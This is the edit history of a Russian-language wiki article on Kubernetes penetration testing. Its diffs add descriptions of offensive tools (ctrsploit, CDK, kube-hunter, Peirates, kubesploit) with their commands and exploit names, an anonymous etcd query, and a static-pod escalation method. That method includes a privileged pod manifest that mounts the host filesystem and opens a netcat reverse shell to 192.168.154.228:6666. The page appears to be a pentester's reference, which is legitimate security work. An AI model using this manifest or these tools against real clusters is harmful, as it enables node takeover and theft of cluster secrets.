Kubernetes - История изменений

Drakylar в 17:22, 14 марта 2022

2022-03-14T17:22:10Z

Drakylar: /* Стороннее ПО */

2022-03-14T16:30:42Z

‎Стороннее ПО

Drakylar: /* Static pod root rce */

2022-03-14T11:50:45Z

‎Static pod root rce

Drakylar: /* Static pod privilege escalation */

2022-03-14T11:49:07Z

‎Static pod privilege escalation

Drakylar: /* Static pod privilege escalation */

2022-03-14T11:43:44Z

‎Static pod privilege escalation

Drakylar: /* Static pod privilege escalation */

2022-03-14T11:34:12Z

‎Static pod privilege escalation

Drakylar в 11:08, 14 марта 2022

2022-03-14T11:08:08Z

Drakylar: /* Pod */

2022-03-14T10:56:06Z

‎Pod

Drakylar: /* Etcd */

2022-03-14T10:12:19Z

‎Etcd

Drakylar: /* cAdvisor */

2022-03-14T09:11:25Z

‎cAdvisor

← Предыдущая		Версия 17:22, 14 марта 2022
Строка 1361:		Строка 1361:

	А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить.		А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить.
		+
		+
		+	= Автоматизация эксплуатации =
		+
		+	== ctrsploit ==
		+
		+	https://github.com/ctrsploit/ctrsploit
		+
		+
		+	Запуск внутри контейнера, с эксплуатацией повышения привилегий.
		+
		+	=== Сбор информации ===
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	./ctrsploit env w
		+	./ctrsploit env g
		+	./ctrsploit env c
		+	./ctrsploit env cap
		+	./ctrsploit env s
		+	./ctrsploit env a
		+	./ctrsploit env f
		+	</syntaxhighlight>
		+
		+	=== Эксплуатация ===
		+
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	./ctrsploit e <название эксплоита>
		+	</syntaxhighlight>
		+
		+	Список эксплоитов на момент создания статьи (v0.5.2):
		+
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	cgroupv1-release_agent, ra escape tech by using the notify_on_release of cgroup v1
		+	cgroupv1-release_agent-unknown_rootfs, ra3 escape tech by using the notify_on_release of cgroup v1 without known rootfs
		+	cgroup_mount-bypass-cgroupv1-release_agent, ra2, cve-2022-0492, 0492, cgroup_mount_bypass cve-2022-0492: escape tech by using the notify_on_release of cgroup v1 after cgroup_mount bypass
		+	CVE-2021-22555, 22555 escape tech by using the CVE-2021-22555
		+	CVE-2020-8555, 8555 k8s CVE-2020-8555 SSRF
		+	CVE-2017-1002101, subPath1, 1002101, CVE-2017-1002101, 2017-1002101 CVE-2017-1002101
		+	help, h Shows a list of commands or help for one command
		+	</syntaxhighlight>
		+
		+	== kube-hunter ==
		+
		+	https://github.com/aquasecurity/kube-hunter
		+
		+	Больше по сетевому взаимодействию, умеет работать с конфигами и удаленно.
		+
		+	Много настроек, примеры запуска:
		+
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	kube-hunter --cidr 192.168.0.0/24 --active
		+	kube-hunter --remote some.domain.com --active
		+	kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...
		+	</syntaxhighlight>
		+
		+	== CDK ==
		+
		+	https://github.com/cdk-team/CDK
		+
		+	Утилита для повышения привилегий из контейнера (+ опции для сканирования kubernetes).
		+
		+
		+
		+	Состоит из 3х модулей:
		+
		+	1. Evaluate - Сбор информации
		+
		+	2. Exploit - Запуск эксплоитов
		+
		+	3. Tool - Дополнительные инструменты.
		+
		+
		+
		+	Также есть версии:
		+
		+	1. All - максимальные проверки
		+
		+	2. Normal
		+
		+	3. Thin - оптимизация для контейнеров с коротким жизненным циклом
		+
		+	4. Upx - помогает обходить сигнатурные средства защиты
		+
		+
		+	=== Сбор информации ===
		+
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	cdk evaluate --full
		+	</syntaxhighlight>
		+
		+	=== Эксплуатация ===
		+
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	cdk run --list
		+	cdk run <script-name> [options]
		+	</syntaxhighlight>
		+
		+
		+	=== Сторонние утилиты ===
		+
		+	<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
		+	cdk nc
		+	cdk ps
		+	</syntaxhighlight>
		+
		+	Полный список утилит в README.md
		+
		+	== kdigger ==
		+
		+	https://github.com/quarkslab/kdigger
		+
		+
		+	Утилита нужна только, чтобы понять запущен ли код внутри контейнера или нет. Схоже функционалом с amicontained, но поновее.
		+	Также делает дополнительные проверки, которые могут помочь при container escape.
		+
		+	Важно! Есть некоторые проверки, которые могут повлиять на кластер, но они доступны только с опцией --active/-a.
		+
		+
		+	== Peirates ==
		+
		+	https://github.com/inguardians/peirates
		+
		+	Инструмент для пентеста куберов и постэксплуатации, например, сбора secrets с Node.
		+
		+
		+	Очень много опций, лучше самостоятельно изучить при запуске.
		+
		+	== BOtB ==
		+
		+	https://github.com/brompwnie/botb
		+
		+
		+	Утилита для анализа и эксплуатации контейнеров.
		+	В случае с кубером может искать сервисные аккаунты и автоматически заюзать их секреты.
		+
		+
		+	== DEEPCE ==
		+
		+	https://stealthcopter.github.io/deepce/
		+
		+
		+	https://github.com/stealthcopter/deepce
		+
		+
		+	Повышение привилегий/побег из контейнера docker.
		+
		+	== kubesploit ==
		+
		+	https://github.com/cyberark/kubesploit
		+
		+	Post-Exploitation framework. Много модулей:
		+
		+	- Побег из контейнера
		+
		+	- Поиск информации kubernetes (сеть)
		+
		+	- Сканы контейнеров kubeletctl
		+

	= Ссылки =		= Ссылки =
		+
		+
		+	== Заметки ==
		+
		+	[https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes HackTricks]
		+
		+
		+	== Новостные каналы ==
		+
		+	[https://t.me/k8security Telegram k8security]
		+
		+	== Лабы ==
		+
		+	[https://github.com/quarkslab/minik8s-ctf minik8s ctf]
		+
		+	[https://www.katacoda.com/cyberarkcommons/scenarios/kubesploit kubesploit lab]

← Предыдущая		Версия 16:30, 14 марта 2022
Строка 1335:		Строка 1335:

	Подробнее про атаку: http://rui0.cn/archives/1573		Подробнее про атаку: http://rui0.cn/archives/1573
		+
		+
		+	== Open Policy Agent ==
		+
		+	Система применения политик в различных системах (не только Kubernetes)
		+
		+	=== Gatekeeper ===
		+
		+	Дает возможность принудительного применения политик в кластере Kubernetes.

	= Облака =		= Облака =

← Предыдущая		Версия 11:50, 14 марта 2022
Строка 112:		Строка 112:
	== Эксплуатация ==		== Эксплуатация ==

−	=== Static pod ~~root rce~~ ===	+	=== Static pod privelege escalation ===

@@ Строка 112: / Строка 112: @@
 == Эксплуатация ==
-=== Static pod privilege escalation ===
+=== Static pod root rce ===
 Static pod - pod, который можно создать только на том же Node, где вы сейчас находитесь.
-Возможность создавать static pod позволяет обойти политики безопасности тк при его создании не идет общение с kubernetes api и другими сервисами (только после создания).
+Кратко: в случае возможности записи по пути /etc/kubernetes/manifests, вы можете создать привилегированный контейнер и получить рута на Node.
-Пример: вы можете в static pod указать другой namespace(в котором по политикам разрешены привилегированные контейнеры, например, kube-system) и создать его. Правда есть сомнение в том, что static-pod игнорирует политики безопасности.
+. Создаете файл yaml
-Для этого вам требуются права записи в директорию /etc/kubernetes/manifests. Вы можете поместить туда файл конфигурации pod и указать в нем другой namespace (например, kube-system).
+. Ждете перезапуска (или мб автоматом запустит)
 Пример конфигурации

← Предыдущая		Версия 11:43, 14 марта 2022
Строка 120:		Строка 120:


−	Пример: вы можете в static pod указать другой namespace(в котором по политикам разрешены привилегированные контейнеры, например, kube-system) и создать его.	+	Пример: вы можете в static pod указать другой namespace(в котором по политикам разрешены привилегированные контейнеры, например, kube-system) и создать его. Правда есть сомнение в том, что static-pod игнорирует политики безопасности.

← Предыдущая		Версия 11:08, 14 марта 2022
Строка 104:		Строка 104:

	Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.		Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.
		+
		+
		+	= Node =
		+
		+	Физическая или виртуальная машина, на которой выполняются Pod(контейнеры).
		+
		+	== Эксплуатация ==
		+
		+	=== Static pod privilege escalation ===
		+
		+	Если у вас есть возможность записи в директорию /etc/kubernetes/manifests, то вы можете поместить туда файл конфигурации pod и указать в нем другой namespace (например, kube-system).
		+
		+	После чего выйти из Pod'а (тк он будет создан привилегированным по настройкам yaml) и получть контроль над другим Node.
		+
		+	Пример конфигурации
		+	<syntaxhighlight lang="yaml" enclose="div" style="overflow-x:auto" >
		+	apiVersion: v1
		+	kind: Pod
		+	metadata:
		+	name: bad-priv2
		+	namespace: kube-system
		+	spec:
		+	containers:
		+	- name: bad
		+	hostPID: true
		+	image: gcr.io/shmoocon-talk-hacking/brick
		+	stdin: true
		+	tty: true
		+	imagePullPolicy: IfNotPresent
		+	volumeMounts:
		+	- mountPath: /chroot
		+	name: host
		+	command: ["/bin/sh"]
		+	args: ["-c", 'nc -e /bin/bash 192.168.154.228 6666; sleep 100000']
		+	securityContext:
		+	privileged: true
		+	volumes:
		+	- name: host
		+	hostPath:
		+	path: /
		+	type: Directory
		+	</syntaxhighlight>
		+
		+	Этот контейнер создаст backconnect соединение на 192.168.154.228:6666.
		+
		+	Важно! Два варианта событий может быть:
		+
		+	1. Нет netcat. Мб придется установить через apt-get или другую команду указать
		+
		+	2. Не нужен бекконнект - просто стереть command и args.

	= Pod =		= Pod =

← Предыдущая		Версия 10:56, 14 марта 2022
Строка 106:		Строка 106:

	= Pod =		= Pod =
		+
		+	Группа из одного или нескольких приложений.

	== Локальные файлы ==		== Локальные файлы ==

@@ Строка 138: / Строка 138: @@
 Порты: 2379/tcp, 6666/tcp
 == Анонимный доступ ==
 У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты
-=== etcdctl ===
+==== etcdctl ====
@@ Строка 149: / Строка 152: @@
 </syntaxhighlight>
-=== curl ===
+==== curl ====
 <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 curl http://<MASTER-IP>:2379/v2/keys
 </syntaxhighlight>

← Предыдущая		Версия 09:11, 14 марта 2022
Строка 1149:		Строка 1149:


−	=== Получение информации ====	+	=== Получение информации ===